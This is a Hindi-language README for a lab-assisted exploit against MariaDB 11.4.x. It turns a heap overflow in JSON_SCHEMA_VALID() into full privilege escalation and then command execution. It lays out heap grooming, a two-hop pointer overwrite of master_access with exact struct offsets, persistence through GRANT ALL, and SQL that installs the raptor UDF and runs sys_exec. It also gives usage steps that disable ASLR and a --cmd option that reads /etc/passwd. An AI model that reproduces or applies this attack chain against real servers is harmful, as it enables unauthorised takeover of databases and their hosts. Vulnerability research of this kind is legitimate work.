
हीप OOB राइट MariaDB JSON_SCHEMA_VALID() में → लगातार विशेषाधिकार वृद्धि (लैब-सहायता प्राप्त)
MariaDB JSON_SCHEMA_VALID() में हीप बफर ओवरफ्लो → स्थायी विशेषाधिकार वृद्धि → UDF RCE
| प्रभावित | MariaDB 11.4.x (11.4.9 पर पुष्टि की गई) |
| बग | json_get_normalized_string() में OOB राइट — 128-बाइट DYNAMIC_STRING में बिना बाउंड्स जांच के strncpy |
| प्रभाव | केवल SELECT वाला उपयोगकर्ता → ALL PRIVILEGES WITH GRANT OPTION → UDF के माध्यम से मनमाना कमांड निष्पादन |
| स्रोत | sql/json_schema_helper.cc:91 |
प्रयोगशाला-सहायता प्राप्त। स्क्रिप्ट प्रति कनेक्शन हीप लेआउट खोजने के लिए Docker / रूट इंट्रोस्पेक्शन का उपयोग करके
/proc/1/memपढ़ती है। वास्तविक एक्सप्लॉइट श्रृंखला TCP पर शुद्ध SQL है। एक हथियारबंद एक्सप्लॉइट को मेमोरी इंट्रोस्पेक्शन चरण को बदलने के लिए एक जानकारी-लीक प्रिमिटिव की आवश्यकता होगी।
lowpriv केवल test डेटाबेस पर SELECT कर सकता है। सिस्टम टेबल अस्वीकृत हैं।

एक एकल Python स्क्रिप्ट हीप ग्रूमिंग, उपयोगकर्ता-वेरिएबल मेटाडेटा के माध्यम से दो-हॉप मनमाना राइट, GRANT ALL के माध्यम से वृद्धि को स्थायी बनाना, और UDF के माध्यम से कोड निष्पादन प्राप्त करती है:
python3 exploit.py

lowpriv के पास अब ALL PRIVILEGES WITH GRANT OPTION है, सिस्टम टेबल पढ़ सकता है, मनमानी फाइलें पढ़/लिख सकता है, और mysql उपयोगकर्ता के रूप में OS कमांड निष्पादित कर सकता है। ग्रांट सर्वर पुनःआरंभ के बाद भी बनी रहती है।


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-बाइट │ │ @c को लिखें │ │ @a को लिखें │
│ ओवरफ्लो │ │ दूषित │ │ पुनर्निर्देशित│
│ entry_c के │ │ पॉइंटर के │ │ पॉइंटर के │
│ value ptr │ │ माध्यम से: │ │ माध्यम से: │
│ को दूषित │ │ │ │ │
│ करता है │ │ entry_a → │ │ master_access│
│ (2-बाइट │ │ .value = │ │ = 0xFFFF.. │
│ आंशिक │ │ &master_ │ │ (ALL PRIVS) │
│ ओवरराइट) │ │ access │ │ │
│ │ │ .length= 9 │ │ │
└───────────┘ └──────────────┘ └──────────────┘
हीप ग्रूम — 100+ उपयोगकर्ता वेरिएबल tcache को समाप्त करते हैं, जिससे
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c को
क्रमागत रूप से आवंटित किया जाता है।
ओवरफ्लो — JSON_SCHEMA_VALID 128-बाइट बफर से आगे 192-बाइट strncpy ट्रिगर करता है,
entry_c→value को दूषित करता है (समान 64 KB पेज के भीतर 2-बाइट आंशिक पॉइंटर
ओवरराइट) ताकि यह entry_a + 32 की ओर इंगित करे।
हॉप 1 — @c को असाइन करना दूषित पॉइंटर के माध्यम से 126 बाइट्स
entry_a के मेटाडेटा में लिखता है, सेट करता है:
entry_a→value = &Security_context::master_accessentry_a→length = 9हॉप 2 — @a को असाइन करना पुनर्निर्देशित entry_a→value पॉइंटर के माध्यम से
8 बाइट्स लिखता है → ।
स्थायीकरण के बाद, सर्वर पुनःआरंभ किया जाता है (क्रैश रिकवरी), और बढ़े हुए विशेषाधिकारों का उपयोग UDF साझा लाइब्रेरी स्थापित करने के लिए किया जाता है:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. कंटेनर बनाएं और प्रारंभ करें
./setup.sh
# 2. Docker होस्ट पर ASLR अक्षम करें
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. एक्सप्लॉइट चलाएं (प्रति प्रयास स्वतः-कैलिब्रेट होता है)
python3 exploit.py
# 4. कस्टम कमांड
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE के साथ चलता है (/proc/1/mem एक्सेस के लिए)--calibrate हीप लेआउट स्थिरांक मापें और बाहर निकलें
--cmd CMD चरण 2 UDF निष्पादन के लिए कमांड (डिफ़ॉल्ट: id > /tmp/pwned)
--stage1-only केवल विशेषाधिकार वृद्धि चलाएं, UDF RCE छोड़ें
--attempts N अधिकतम चरण 1 प्रयास (डिफ़ॉल्ट: 5)
--host HOST MariaDB होस्ट (डिफ़ॉल्ट: 127.0.0.1)
--port PORT MariaDB पोर्ट (डिफ़ॉल्ट: 3306)
एक्सप्लॉइट स्क्रिप्ट /proc/1/mem पढ़ने के लिए रूट के रूप में कंटेनर में शेल करती है।
इसका उपयोग दो चीजों के लिए किया जाता है:
user_var_entry संरचनाओं का पता लगाना और सत्यापित करना कि वे आसन्न हैं (entry_a+32 समान 64KB पेज के भीतर
entry_c→value के रूप में 2-बाइट आंशिक ओवरराइट के लिए)।Security_context पता — दो-हॉप राइट के लिए लक्षित करने हेतु master_access फ़ील्ड ढूंढना।स्कैन प्रत्येक प्रयास के लिए इनलाइन चलता है क्योंकि हीप लेआउट कनेक्शनों के बीच भिन्न होता है (ASLR=0 के साथ भी) क्योंकि MariaDB का थ्रेड पूल विभिन्न एरेना आवंटित करता है। वास्तविक एक्सप्लॉइट श्रृंखला — ओवरफ्लो + hop1 + hop2 — TCP कनेक्शन पर निष्पादित शुद्ध SQL है।
वास्तविक दुनिया के परिदृश्य में, एक हमलावर को इन पतों को प्राप्त करने के लिए एक अलग जानकारी-लीक भेद्यता (या एक साइड-चैनल) की आवश्यकता होगी।
0xFFmaster_access = ALL PRIVILEGESस्थायी बनाना — सत्र के पास अब सभी विशेषाधिकार हैं। GRANT ALL वृद्धि को
Aria-समर्थित mysql.global_priv टेबल में कमिट करता है। सत्र अंततः सफाई के दौरान
क्रैश हो जाता है (अवशिष्ट हीप भ्रष्टाचार), लेकिन GRANT पहले ही चेकपॉइंट हो चुका है
और पुनःआरंभ के बाद बना रहता है।
| बाधा | समाधान |
|---|
STRING_RESULT realloc जांच से पहले length++ करता है | पेलोड N−1 बाइट्स है ताकि N−1+1 = N संग्रहीत लंबाई से मेल खाए → दूषित पॉइंटर पर कोई realloc नहीं |
126-बाइट hop2 Security_context से आगे THD फ़ील्ड्स को दूषित करता है | hop1 में entry_a→length = 9 सेट करें ताकि hop2 केवल 8 बाइट्स (master_access) + 1 NUL लिखे |
Security_context में master_access ऑफसेट | संरचना आधार से 1712 बाइट्स (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + पैडिंग + पॉइंटर्स) |
| Aria क्रैश रिकवरी अकमिटेड राइट्स को वापस रोल करती है | GRANT ALL + 10 सेकंड SLEEP सत्र सफाई क्रैश से पहले Aria चेकपॉइंट की अनुमति देता है |
| हीप लेआउट कनेक्शनों के बीच भिन्न होता है (ASLR=0 के साथ भी) | प्रति-प्रयास इनलाइन /proc/1/mem स्कैन प्रत्येक कनेक्शन के लिए entry_a और master_access खोजता है |
| plugin_dir रूट-स्वामित्व वाला है | Dockerfile पहले से chmod 777 सेट करता है (प्रयोगशाला सुविधा) |
| फाइल | विवरण |
|---|
exploit.py | दो-चरणीय एक्सप्लॉइट: privesc (TCP SQL) + UDF RCE |
raptor_udf.c | UDF स्रोत — sys_exec() system() को कॉल करता है |
Dockerfile | प्रयोगशाला कंटेनर छवि (UDF संकलित करता है, plugin_dir खोलता है) |
init.sql | lowpriv उपयोगकर्ता बनाता है |
setup.sh | प्रयोगशाला बनाता और प्रारंभ करता है |
screenshots/ | टर्मिनल स्क्रीनशॉट |